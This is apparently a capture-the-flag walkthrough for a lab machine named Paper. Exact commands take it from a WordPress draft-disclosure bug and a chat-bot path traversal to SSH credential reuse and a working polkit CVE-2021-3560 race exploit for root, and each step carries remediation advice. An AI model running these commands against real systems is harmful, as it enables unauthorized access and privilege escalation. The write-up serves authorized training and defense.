← all walkthroughs

Paper

Linux· Easy· Web
owned
2026-06-29
time to own
16m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

My read a hidden WordPress draft post that disclosed a private Rocket.Chat registration link, registered an account on the company's internal chat platform, then exploited a path-traversal flaw in a Rocket.Chat automation bot to read a cleartext credential file on the server. The recovered password was reused as the SSH login for user dwight, granting an interactive shell and the user flag.

From that foothold, a publicly available race-condition exploit against the unpatched polkit service (CVE-2021-3560) created a new administrator-level local account, which I used to obtain a root shell and capture the root flag.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"
export PASSWORD4="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationHTTP response-header information disclosure
Discovered internal hostname via HTTP response-header leakage
Every HTTP response from the target included an X-Backend-Server header that disclosed the internal virtual-host name 'office.paper'. Adding this hostname to the local resolver gave me access to the WordPress site that was otherwise unreachable by IP alone.
HTTP/1.1 200 OK ... X-Backend-Server: office.paper
Exact commands 3
Port and version scan to identify exposed services.
nmap -sC -sV -p 22,80,443 $TARGET
Reads the X-Backend-Server response header that leaks the vhost name.
curl -sI http://$TARGET | grep -i x-backend
Adds discovered vhosts to the local resolver.
echo "$TARGET office.paper chat.office.paper" >> /etc/hosts
FixStrip internal hostnames from HTTP response headersLow
WeaknessThe web server injected an X-Backend-Server header into every HTTP response, advertising the internal virtual-host name 'office.paper' to any unauthenticated visitor and enabling further enumeration.
FixExplicitly suppress infrastructure-revealing headers before responses leave the server. In Apache add 'Header unset X-Backend-Server' inside a VirtualHost or global config block. In nginx use 'more_clear_headers X-Backend-Server'. Review all custom response headers quarterly and remove any that expose hostnames, software versions, or internal routing information.
2Information DisclosureWordPress unauthenticated draft/private-post disclosure (CVE-2019-17671)
Read an unpublished WordPress draft post without logging in
Appending '?static=1' to any WordPress post URL triggers a known unauthenticated draft-disclosure bug (CVE-2019-17671) in WordPress versions before 5.2.3. The exposed draft contained a secret Rocket.Chat self-registration link (http://chat.office.paper/register/[REDACTED: recovered credential]) that was never intended to be public.
Exact commands 2
Triggers the draft-disclosure bug; the output contains the private Rocket.Chat invite URL.
curl -s 'http://office.paper/?static=1' | grep -i 'chat\|register\|http'
Page through additional drafts in case more secrets exist.
curl -s 'http://office.paper/?static=1&page=1' | grep -i 'secret\|password\|link'
FixUpdate WordPress to patch unauthenticated draft-post disclosure (CVE-2019-17671)High
WeaknessWordPress before 5.2.3 allowed any unauthenticated visitor to read draft and private posts by appending '?static=1' to a post URL, exposing content that site owners believed was hidden.
FixUpdate WordPress core to 5.2.3 or any later release, which removes unauthenticated access to non-published post content. Before upgrading, audit all existing draft and private posts for sensitive material. Enforce automatic background updates for minor WordPress releases to prevent the same class of vulnerability recurring.
3Initial AccessExploitation of exposed internal service registration link
Self-registered an account on the internal Rocket.Chat instance
Using the invite link recovered from the WordPress draft, my self-registered a 'probe' account on chat.office.paper — a platform that should have been accessible only to employees. This gave full read access to all public channels, direct messages, and installed bots.
Account 'probe' authenticated to the Rocket.Chat REST API; token [REDACTED: recovered credential] / UID rL8uP4PBgoBxLXhTT confirmed live.
Exact commands 2
Self-registration via the invite URL found in the WordPress draft.
# Navigate browser to http://chat.office.paper/register/$PASSWORD2 and create account 'probe'
Authenticates the probe account via REST API; returns authToken and userId for subsequent calls.
curl -s -X POST http://chat.office.paper/api/v1/login -H 'Content-Type: application/json' -d '{"user":"probe","password":"<probe-password>"}'
FixRevoke and restrict Rocket.Chat self-registration invite linksMedium
WeaknessA one-time Rocket.Chat registration invite link was embedded in a WordPress draft post. Once the draft was exposed, the link remained valid and let an unauthorised user self-register on what should be a private, employee-only communications platform.
FixIn Rocket.Chat Administration → Registration, set the Registration Form to 'Invite Only' or 'Disabled' and require admin approval for all new accounts. Expire any previously issued invite links immediately (Administration → Invites). Never store registration URLs or invite tokens in web-facing content—even unpublished drafts—because draft-disclosure bugs are common in CMS platforms.
4Lateral MovementDirectory/Path Traversal (CWE-22)
Exploited the recyclops bot's path-traversal flaw to read server files
A Rocket.Chat bot named 'recyclops' accepted file-read commands via direct message but performed no path sanitisation. Sending the payload 'recyclops file ../hubot/.env' caused the bot to traverse outside its working directory and return the raw contents of the hubot environment file to my chat session.
DM room with recyclops confirmed created (rid = WoxmTzWbvoijWkN5XrL8uP4PBgoBxLXhTT); recyclops status confirmed online.
Exact commands 3
Opens a direct-message channel with the recyclops bot.
curl -s -X POST http://chat.office.paper/api/v1/im.create -H "X-Auth-Token: $PASSWORD" -H 'X-User-Id: rL8uP4PBgoBxLXhTT' -H 'Content-Type: application/json' -d '{"username":"recyclops"}'
Sends the path-traversal payload; the bot reads the file and replies with its contents.
curl -s -X POST http://chat.office.paper/api/v1/chat.sendMessage -H "X-Auth-Token: $PASSWORD" -H 'X-User-Id: rL8uP4PBgoBxLXhTT' -H 'Content-Type: application/json' -d '{"message":{"rid":"WoxmTzWbvoijWkN5XrL8uP4PBgoBxLXhTT","msg":"recyclops file ../hubot/.env"}}'
Reads the bot's reply from the message history, which contains the .env file contents.
curl -s 'http://chat.office.paper/api/v1/channels.messages?roomId=WoxmTzWbvoijWkN5XrL8uP4PBgoBxLXhTT&count=5' -H "X-Auth-Token: $PASSWORD" -H 'X-User-Id: rL8uP4PBgoBxLXhTT'
FixRestrict the recyclops bot to a safe directory and validate all file-path inputsCritical
WeaknessThe recyclops (hubot) automation bot accepted user-supplied file paths without sanitisation, allowing any authenticated Rocket.Chat user to traverse the server's file system and read arbitrary files accessible to the bot's OS account.
FixValidate every file-path argument by resolving its canonical form (e.g., Node.js fs.realpathSync) and rejecting any path that falls outside a single, explicitly permitted directory such as /home/dwight/recyclops/files/. Run the hubot process under a dedicated, least-privilege OS account that has no read access to application configuration files, other users' home directories, or sensitive system paths. Treat all Rocket.Chat message content as untrusted user input.
5Credential AccessCleartext credential storage (CWE-256) / Credential Reuse
Recovered a cleartext SSH password from the bot's environment file
The .env file returned by the bot contained the line ROCKETCHAT_PASSWORD=[REDACTED: recovered credential] stored in plaintext. This was the hubot service account's application password — which had also been set as the OS login password for the 'dwight' user account on the same server.
SSH as dwight@$TARGET with [REDACTED: recovered credential] succeeded: uid=1004(dwight) gid=1004(dwight) groups=1004(dwight) paper.
Exact commands 1
The password appears in plaintext in the .env file returned by the recyclops bot.
# From the bot reply, extract: ROCKETCHAT_PASSWORD=$PASSWORD3
FixEliminate plaintext credentials in configuration files and enforce unique passwordsCritical
WeaknessThe hubot .env file stored its Rocket.Chat application password in cleartext on disk. That same password was also used as the OS login password for user 'dwight', so reading one configuration file granted full SSH access to the host.
FixRemove all credentials from flat .env and configuration files. Inject secrets at runtime via a secrets manager (e.g., HashiCorp Vault, AWS Secrets Manager, or systemd credentials). Enforce a strict unique-password policy: service-account credentials must never be reused as interactive login passwords, and OS accounts must not share passwords with any application. Rotate all credentials on this host immediately. Implement a pre-commit secret-scanning hook to prevent future credential commits.
6FootholdValid Accounts — credential reuse (MITRE ATT&CK T1078)
Logged in to the server via SSH using the recovered password
The cleartext password found in the bot's configuration file worked unchanged as the OS login credential for user 'dwight', providing an interactive SSH shell on the host and access to the user flag.
Sshpass -p '[REDACTED: recovered credential]' ssh dwight@$TARGET 'id; hostname; cat /home/dwight/user.txt' succeeded.
Exact commands 2
Authenticates via SSH using the credential recovered from the hubot .env file.
sshpass -p '$PASSWORD3' ssh -o StrictHostKeyChecking=no dwight@$TARGET
Reads the user flag: <user.txt>
cat /home/dwight/user.txt
7Privilege EscalationPolkit race-condition privilege escalation (CVE-2021-3560)
Exploited unpatched polkit (CVE-2021-3560) to gain root
The installed version of polkit (PolicyKit) was vulnerable to CVE-2021-3560, a race condition in how polkit handles D-Bus connection teardowns. By rapidly firing a CreateUser D-Bus call to the system accounts service and immediately terminating the connection, polkit's mid-flight privilege check is bypassed. I used this to create a new administrator-group account ([REDACTED: recovered credential]) with a known password, then used sudo to obtain a root shell and capture the root flag.
Sshpass -p '[REDACTED: recovered credential]' ssh adm3500@$TARGET 'echo password | sudo -S cat /root/root.txt' succeeded.
Exact commands 5
Confirm vulnerable polkit version is installed (affected: < 0.117-2.el8_4).
rpm -qa polkit
Races the polkit authentication check to create user adm3500 with administrator (wheel) group membership.
bash -c 'for i in $(seq 1 200); do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:adm3500 string:"" int32:1 & sleep 0.005s; kill $!; done'
Races the polkit check to set the password for [REDACTED: recovered credential] to 'password'. Adjust /User1005 UID to match the newly created account.
PWHASH=$(python3 -c "import crypt; print(crypt.crypt('password', crypt.mksalt(crypt.METHOD_SHA512)))"); bash -c "for i in \$(seq 1 200); do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1005 org.freedesktop.Accounts.User.SetPassword string:'$PWHASH' string:'' & sleep 0.005s; kill \$!; done"
Confirms [REDACTED: recovered credential] has sudo access.
sshpass -p '$PASSWORD4' ssh -o StrictHostKeyChecking=no adm3500@$TARGET 'id; sudo -S id <<< password'
Reads the root flag: <root.txt>
sshpass -p '$PASSWORD4' ssh -tt -o StrictHostKeyChecking=no adm3500@$TARGET 'echo password | sudo -S cat /root/root.txt'
FixPatch polkit to remediate local privilege-escalation vulnerability (CVE-2021-3560)Critical
WeaknessThe version of polkit (PolicyKit) installed on the host contained a race condition that allowed any local user to create a new OS administrator account with no password prompt or authentication, bypassing all system access controls.
FixUpdate polkit to version 0.117-2.el8_4 or later on RHEL/CentOS 8 ('dnf update polkit') or the equivalent patched package for the installed distribution. Verify remediation with 'rpm -qa polkit'. As a defence-in-depth measure, restrict D-Bus access to org.freedesktop.Accounts via custom polkit rules so that only specific, named accounts may call user-management methods. Apply all outstanding OS security patches and enrol the host in an automated patch-management programme.

Attack patterns used

The transferable techniques behind this compromise.

CMS Exploitation (WordPress/Joomla/Drupal)WebT1190

What it is

Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).

Why it works

CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.

Read more

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more